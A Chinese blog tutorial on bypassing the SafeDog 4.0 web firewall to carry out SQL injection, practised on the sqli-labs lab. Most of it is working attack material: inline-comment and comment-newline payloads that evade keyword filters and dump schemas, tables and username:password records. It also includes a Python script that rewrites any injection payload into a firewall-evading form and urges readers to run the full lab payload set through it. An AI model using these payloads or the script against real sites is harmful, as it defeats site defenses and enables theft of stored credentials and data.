sql注入绕过安全狗4.0
2022/2/8 2:13:08
本文主要是介绍sql注入绕过安全狗4.0,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
- 1.前言
- 2.前置知识
- 3.绕过关键字主要思路
- 3.1绕过连体关键字思路
- 3.2绕过单个关键字思路
- 4.以sqli-labs(Less-1)为例,绕过安全狗
- 4.1拦截order by
- 4.2拦截union select
- 4.3拦截database()
- 4.4拦截from
- 4.5拦截and
- 4.6查看数据库数据
- 5.面向安全狗4.0的py脚本
- 6.sqli-labs无安全狗全通关payload
1.前言
该文章只进行技术分享与探讨,任何人进行非法操作与作者无关。
2.前置知识
/*!*/
叫做内联注释,当!
后面所接的数据库版本号时,当实际的版本等于或是高于那个字符串,应用程序就会将注释内容解释为SQL,否则就会当做注释来处理。默认的,当没有接版本号时,是会执行里面的内容的。
比如版本号为5.7.26
,当/*!00000xxx*/
-/*!50726xxx*/
里的注释内容都可以解析为sql语句执行
而>/*!50726xxx*/
里的注释内容就真的被注释,失去作用。
3.绕过关键字主要思路
在关键字处使用内联注释和%23%0a(注释换行),内联注释里的版本号即使低于实际版本号有的可以绕过,有的不能绕过(可能是安全狗做了一点小过滤)
所以我们可以使用burpsuite的intruder模块检测一下哪些版本号可以绕过,这里以sqli-labs(Less-1)为例,把版本号设置为payload点
设置payload类型为numbers
然后开始重放
看到两种响应长度,就可以暂停了,有一种一定是能绕过安全狗的版本号
然后下面进行绕过的时候就使用那个能绕过的版本号
3.1绕过连体关键字思路
X代表关键字
X/*/A*/%23%0aX X/*/A*/X X/*/--A----/*/X X/*!66666A*/%23%0aX X/*!44444X*/ X/*!44444%23%0aX*/ /*!44444X/*!44444X*/
3.2绕过单个关键字思路
X代表关键字
/*!%23%0aX*/ /*!X%23%0a*/ /*!44444X*/ X与前面参数连在一起(不用空格隔开,这个也是绕过方法)
4.以sqli-labs(Less-1)为例,绕过安全狗
4.1拦截order by
1' order/*!%23%0aby*/ 3 %23 1' order/*!*/%23%0aby 3 %23 1' order/*/*/by 3%23 1' order/*//------/*/by 3%23 1' order/*//------/*/%23%0aby 3%23
4.2拦截union select
-1' union/*!44444%23%0aselect*/ 1,2,3 %23 -1' union/*!44444%23%0aselect 1,2,3*/ %23 -1' union/*/A/*/select 1,2,3 %23 -1' union/*!66666A*/select 1,2,3 %23
4.3拦截database()
-1' union/*!66666A*/select 1,2,/*!database%23%0a*/() %23 -1' union/*!66666A*/select 1,2,database/*!44444()*/%23 -1' union/*!66666A*/select 1,2,database/*/A*/()%23 也适用于拦截user()
4.4拦截from
-1' union/*!66666A*/select 1,2,group_concat(schema_name)from information_schema.schemata%23 -1' union/*!66666A*/select 1,2,group_concat(schema_name) /*!%23%0afrom*/ information_schema.schemata%23 -1' union/*!66666A*/select 1,2,group_concat(schema_name) /*!44444from*/ information_schema.schemata%23
4.5拦截and
-1' union/*!66666A*/select 1,2,group_concat(column_name)/*!from%23%0a*/information_schema.columns where table_name="users" /*!44444and*/table_schema="security"%23 -1' union/*!66666A*/select 1,2,group_concat(column_name)/*!from%23%0a*/information_schema.columns where table_name="users"/*!44444and%23%0a*/table_schema="security"%23
4.6查看数据库数据
查看所有数据库 -1' union/*!66666A*/select 1,2,group_concat(schema_name)from information_schema.schemata%23 查看security库下的所有表 -1' union/*!66666A*/select 1,2,group_concat(table_name)from information_schema.tables where table_schema="security" %23 查看users表的字段 -1' union/*!66666A*/select 1,2,group_concat(column_name)/*!from%23%0a*/information_schema.columns where table_name="users" /*!44444and*/table_schema="security"%23 查看users表的记录 -1' union/*!66666A*/select 1,2,group_concat(concat(username,':',password))from security.users%23
5.面向安全狗4.0的py脚本
import re # 如果被拦截在这更换绕过方法 def allBypass(sql): """ 过滤了order by,union select,database,user,version,from,and,or,updatexml,extractvalue,=,空格 \b为了精准匹配整个单词,而不是匹配某个单词的一部分 比如我要匹配and这个逻辑符,有一个单词rand,不加\b就会匹配上rand中的一部分,从而导致替换错误,加了\b就不会匹配 re.I 忽略大小写,如果不能绕过可能是version出问题,上面标题3有解决办法 """ version = '44444' str = re.sub(r'\border by\b','order/*!%23%0aby*/',sql,flags=re.I) str = re.sub(r'\bunion select\b','union/*!'+version+'%23%0aselect*/',str,flags=re.I) str = re.sub(r'\bdatabase[()]{2}','/*!database%23%0a*/()',str,flags=re.I) str = re.sub(r'\buser[()]{2}','/*!user%23%0a*/()',str,flags=re.I) str = re.sub(r'\bversion[()]{2}','/*!'+version+'version*/()',str,flags=re.I) str = re.sub(r'\bfrom\b','/*!%23%0afrom*/',str,flags=re.I) str = re.sub(r'\band\b','/*!'+version+'and%23%0a*/',str,flags=re.I) str = re.sub(r'\bor\b','/*!'+version+'or%23%0a*/',str,flags=re.I) str = re.sub(r'\bupdatexml\b','/*!updatexml%23%0a*/',str,flags=re.I) str = re.sub(r'\bextractvalue\b','/*!extractvalue%23%0a*/',str,flags=re.I) str = re.sub(r'=','%0alike%0a',str,flags=re.I) # 将空格替换为%0a # str = re.sub(r' ','%0a',str,flags=re.I) return str # 把payload放到下面 sql = """ 1' and gtid_subset(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) %23 """ # 将sql变量值改装 sql = sql.strip() sql = allBypass(sql) print(sql)
6.sqli-labs无安全狗全通关payload
https://blog.csdn.net/weixin_43623271/article/details/122801320
可以把上面网站的payload拿去跑一遍脚本,然后提交过狗。
这篇关于sql注入绕过安全狗4.0的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2025-01-07如何利用看板工具优化品牌内容创作与审批,确保按时发布?
- 2025-01-07百万架构师第十一课:源码分析:Spring 源码分析:Spring源码分析前篇|JavaGuide
- 2025-01-07质量检测标准严苛,这 6 款办公软件达标了吗?
- 2025-01-07提升品牌活动管理的效率:看板工具助力品牌活动日历的可视化管理
- 2025-01-07宠物商场的精准营销秘籍:揭秘看板软件的力量
- 2025-01-07“30了,资深骑手” | 程序员能有什么好出路?
- 2025-01-07宠物公园的营销秘籍:看板软件如何帮你精准触达目标客户?
- 2025-01-07从任务分解到资源优化:甘特图工具全解析
- 2025-01-07企业升级必备指南:从传统办公软件到SaaS工具的转型攻略
- 2025-01-07一文告诉你IT项目管理如何做到高效